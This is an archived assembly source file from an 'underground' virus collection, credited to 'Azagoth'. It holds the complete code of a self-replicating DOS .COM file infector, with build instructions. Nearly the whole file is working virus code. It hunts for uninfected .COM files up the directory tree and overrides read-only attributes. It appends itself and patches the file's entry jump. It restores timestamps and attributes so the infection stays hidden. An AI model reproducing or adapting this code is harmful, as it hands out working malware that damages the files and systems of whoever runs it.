home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / _468.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.1 KB  |  257 lines

  1. ; virus from ALT-11 mag
  2.  
  3.  
  4.  
  5. ; ---------------------------------------
  6.  
  7. ;
  8.  
  9. ; Coded by: Azagoth
  10.  
  11. ; ---------------------------------------
  12.  
  13. ; Assemble using Turbo Assembler:
  14.  
  15. ;  tasm /m2 <filename>.asm
  16.  
  17. ;  tlink /t <filename>.obj
  18.  
  19. ; ---------------------------------------------------------------------------
  20.  
  21. ;  - Non-Overwriting .COM infector (excluding COMMAND.COM)
  22.  
  23. ;  - COM growth: XXX bytes
  24.  
  25. ;  - It searches the current directory for uninfected files.  If none are
  26.  
  27. ;     found, it searches previous directory until it reaches root and no more
  28.  
  29. ;     uninfected files are found. (One infection per run)
  30.  
  31. ;  - Also infects read-only files
  32.  
  33. ;  - Restores attributes, initial date/time-stamps, and original path.
  34.  
  35. ; ---------------------------------------------------------------------------
  36.  
  37.  
  38.  
  39.         .model  tiny
  40.  
  41.         .code
  42.  
  43.  
  44.  
  45.         org     100h                            ; adjust for psp
  46.  
  47.  
  48.  
  49. start:
  50.  
  51.  
  52.  
  53.         call    get_disp                        ; push ip onto stack
  54.  
  55. get_disp:
  56.  
  57.         pop     bp                              ; bp holds current ip
  58.  
  59.         sub     bp, offset get_disp             ; bp = code displacement
  60.  
  61.  
  62.  
  63.         ; original label offset is stored in machine code
  64.  
  65.         ; so new (ip) - original = displacement of code
  66.  
  67.  
  68.  
  69. save_path:
  70.  
  71.         mov     ah, 47h                         ; save cwd
  72.  
  73.         xor     dl, dl                          ; 0 = default drive
  74.  
  75.         lea     si, [bp + org_path]
  76.  
  77.         int     21h
  78.  
  79.  
  80.  
  81. get_dta:
  82.  
  83.         mov     ah, 2fh
  84.  
  85.         int     21h
  86.  
  87.  
  88.  
  89.         mov     [bp + old_dta_off], bx          ; save old dta offset
  90.  
  91.  
  92.  
  93. set_dta:                                        ; point to dta record
  94.  
  95.         mov     ah, 1ah
  96.  
  97.         lea     dx, [bp + dta_filler]
  98.  
  99.         int     21h
  100.  
  101.  
  102.  
  103. search:
  104.  
  105.         mov     ah, 4eh                         ; find first file
  106.  
  107.         mov     cx, [bp + search_attrib]        ;  if successful dta is
  108.  
  109.         lea     dx, [bp + search_mask]          ;  created
  110.  
  111.         int     21h
  112.  
  113.         jnc     clear_attrib                    ; if found, continue
  114.  
  115.  
  116.  
  117. find_next:
  118.  
  119.         mov     ah, 4fh                         ; find next file
  120.  
  121.         int     21h
  122.  
  123.         jnc     clear_attrib
  124.  
  125.  
  126.  
  127. still_searching:
  128.  
  129.         mov     ah, 3bh
  130.  
  131.         lea     dx, [bp + previous_dir]         ; cd ..
  132.  
  133.         int     21h
  134.  
  135.         jnc     search
  136.  
  137.         jmp     bomb                            ; at root, no more files
  138.  
  139.  
  140.  
  141. clear_attrib:
  142.  
  143.         mov     ax, 4301h
  144.  
  145.         xor     cx, cx                          ; get rid of attributes
  146.  
  147.         lea     dx, [bp + dta_file_name]
  148.  
  149.         int     21h
  150.  
  151.  
  152.  
  153. open_file:
  154.  
  155.         mov     ax, 3D02h                       ; AL=2 read/write
  156.  
  157.         lea     dx, [bp + dta_file_name]
  158.  
  159.         int     21h
  160.  
  161.  
  162.  
  163.         xchg    bx, ax                          ; save file handle
  164.  
  165.                                                 ; bx won't change from now on
  166.  
  167. check_if_command_com:
  168.  
  169.         cld
  170.  
  171.         lea     di, [bp + com_com]
  172.  
  173.         lea     si, [bp + dta_file_name]
  174.  
  175.         mov     cx, 11                          ; length of 'COMMAND.COM'
  176.  
  177.         repe    cmpsb                           ; repeat while equal
  178.  
  179.         jne     check_if_infected
  180.  
  181.         jmp     close_file
  182.  
  183.  
  184.  
  185. check_if_infected:
  186.  
  187.         mov     dx, word ptr [bp + dta_file_size] ; only use first word since
  188.  
  189.                                                   ;  COM file
  190.  
  191.         sub     dx, 2                             ; file size - 2
  192.  
  193.  
  194.  
  195.         mov     ax, 4200h
  196.  
  197.         mov     cx, 0                           ; cx:dx ptr to offset from
  198.  
  199.         int     21h                             ;  origin of move
  200.  
  201.  
  202.  
  203.         mov     ah, 3fh                         ; read last 2 characters
  204.  
  205.         mov     cx, 2
  206.  
  207.         lea     dx, [bp + last_chars]
  208.  
  209.         int     21h
  210.  
  211.  
  212.  
  213.         mov     ah, [bp + last_chars]
  214.  
  215.         cmp     ah, [bp + virus_id]
  216.  
  217.         jne     save_3_bytes
  218.  
  219.         mov     ah, [bp + last_chars + 1]
  220.  
  221.         cmp     ah, [bp + virus_id + 1]
  222.  
  223.         jne     save_3_bytes
  224.  
  225.         jmp     close_file
  226.  
  227.  
  228.  
  229. save_3_bytes:
  230.  
  231.         mov     ax, 4200h                       ; 00=start of file
  232.  
  233.         xor     cx, cx
  234.  
  235.         xor     dx, dx
  236.  
  237.         int     21h
  238.  
  239.  
  240.  
  241.         mov     ah, 3Fh
  242.  
  243.         mov     cx, 3
  244.  
  245.         lea     dx, [bp + _3_bytes]
  246.  
  247.         int     21h
  248.  
  249.  
  250.  
  251. goto_eof:
  252.  
  253.         mov     ax, 4202h                       ; 02=End of file
  254.  
  255.         xor     cx, cx                          ; offset from origin of move
  256.  
  257.         xor     dx, dx                          ; (i.e. nowhere)
  258.  
  259.         int     21h                             ; ax holds file size
  260.  
  261.  
  262.  
  263.         ; since it is a COM file, overflow will not occur
  264.  
  265.  
  266.  
  267. save_jmp_displacement:
  268.  
  269.         sub     ax, 3                           ; file size - 3 = jmp disp.
  270.  
  271.         mov     [bp + jmp_disp], ax
  272.  
  273.  
  274.  
  275. write_code:
  276.  
  277.         mov     ah, 40h
  278.  
  279.         mov     cx, virus_length                ;*** equate
  280.  
  281.         lea     dx, [bp + start]
  282.  
  283.         int     21h
  284.  
  285.  
  286.  
  287. goto_bof:
  288.  
  289.         mov     ax, 4200h
  290.  
  291.         xor     cx, cx
  292.  
  293.         xor     dx, dx
  294.  
  295.         int     21h
  296.  
  297.  
  298.  
  299. write_jmp:                                      ; to file
  300.  
  301.         mov     ah, 40h
  302.  
  303.         mov     cx, 3
  304.  
  305.         lea     dx, [bp + jmp_code]
  306.  
  307.         int     21h
  308.  
  309.  
  310.  
  311.         inc     [bp + infections]
  312.  
  313.  
  314.  
  315. restore_date_time:
  316.  
  317.         mov     ax, 5701h
  318.  
  319.         mov     cx, [bp + dta_file_time]
  320.  
  321.         mov     dx, [bp + dta_file_date]
  322.  
  323.         int     21h
  324.  
  325.  
  326.  
  327. close_file:
  328.  
  329.         mov     ah, 3eh
  330.  
  331.         int     21h
  332.  
  333.  
  334.  
  335. restore_attrib:
  336.  
  337.         xor     ch, ch
  338.  
  339.         mov     cl, [bp + dta_file_attrib]      ; restore original attributes
  340.  
  341.         mov     ax, 4301h
  342.  
  343.         lea     dx, [bp + dta_file_name]
  344.  
  345.         int     21h
  346.  
  347.  
  348.  
  349. done_infecting?:
  350.  
  351.         mov     ah, [bp + infections]
  352.  
  353.         cmp     ah, [bp + max_infections]
  354.  
  355.         jz      bomb
  356.  
  357.         jmp     find_next
  358.  
  359.  
  360.  
  361.  
  362.  
  363. bomb:
  364.  
  365.  
  366.  
  367. ;        cmp     bp, 0
  368.  
  369. ;        je      restore_path                    ; original run
  370.  
  371. ;
  372.  
  373. ;---- Stuff deleted
  374.  
  375.  
  376.  
  377. restore_path:
  378.  
  379.         mov     ah, 3bh                         ; when path stored
  380.  
  381.         lea     dx, [bp + root]                 ; '\' not included
  382.  
  383.         int     21h
  384.  
  385.  
  386.  
  387.         mov     ah, 3bh                         ; cd to original path
  388.  
  389.         lea     dx, [bp + org_path]
  390.  
  391.         int     21h
  392.  
  393.  
  394.  
  395. restore_dta:
  396.  
  397.         mov     ah, 1ah
  398.  
  399.         mov     dx, [bp + old_dta_off]
  400.  
  401.         int     21h
  402.  
  403.  
  404.  
  405. restore_3_bytes:                                ; in memory
  406.  
  407.         lea     si, [bp + _3_bytes]
  408.  
  409.         mov     di, 100h
  410.  
  411.         cld                                     ; auto-inc si, di
  412.  
  413.         mov     cx, 3
  414.  
  415.         rep     movsb
  416.  
  417.  
  418.  
  419. return_control_or_exit?:
  420.  
  421.         cmp     bp, 0                           ; bp = 0 if original run
  422.  
  423.         je      exit
  424.  
  425.         mov     di, 100h                        ; return control back to prog
  426.  
  427.         jmp     di                              ; -> cs:100h
  428.  
  429.  
  430.  
  431. exit:
  432.  
  433.         mov     ax, 4c00h
  434.  
  435.         int     21h
  436.  
  437.  
  438.  
  439. ;-------- Variable Declarations --------
  440.  
  441.  
  442.  
  443. old_dta_off     dw      0                       ; offset of old dta address
  444.  
  445.  
  446.  
  447. ;-------- dta record
  448.  
  449. dta_filler      db      21 dup (0)
  450.  
  451. dta_file_attrib db      0
  452.  
  453. dta_file_time   dw      0
  454.  
  455. dta_file_date   dw      0
  456.  
  457. dta_file_size   dd      0
  458.  
  459. dta_file_name   db      13 dup (0)
  460.  
  461. ;--------
  462.  
  463. search_mask     db      '*.COM',0               ; files to infect: *.COM
  464.  
  465. search_attrib   dw      00100111b               ; all files a,s,h,r
  466.  
  467. com_com         db      'COMMAND.COM'
  468.  
  469.  
  470.  
  471. previous_dir    db      '..',0
  472.  
  473. root            db      '\',0
  474.  
  475. org_path        db      64 dup (0)              ; original path
  476.  
  477.  
  478.  
  479. infections      db      0                       ; counter
  480.  
  481. max_infections  db      1
  482.  
  483.  
  484.  
  485. _3_bytes        db      0, 0, 0
  486.  
  487. jmp_code        db      0E9h
  488.  
  489. jmp_disp        dw      0
  490.  
  491.  
  492.  
  493. last_chars      db      0, 0                    ; do last chars = ID ?
  494.  
  495.  
  496.  
  497. virus_id        db      'AZ'
  498.  
  499.  
  500.  
  501. eov:                                            ; end of virus
  502.  
  503.  
  504.  
  505. virus_length    equ     offset eov - offset start
  506.  
  507.  
  508.  
  509.         end     start
  510.  
  511.  
  512.  
  513.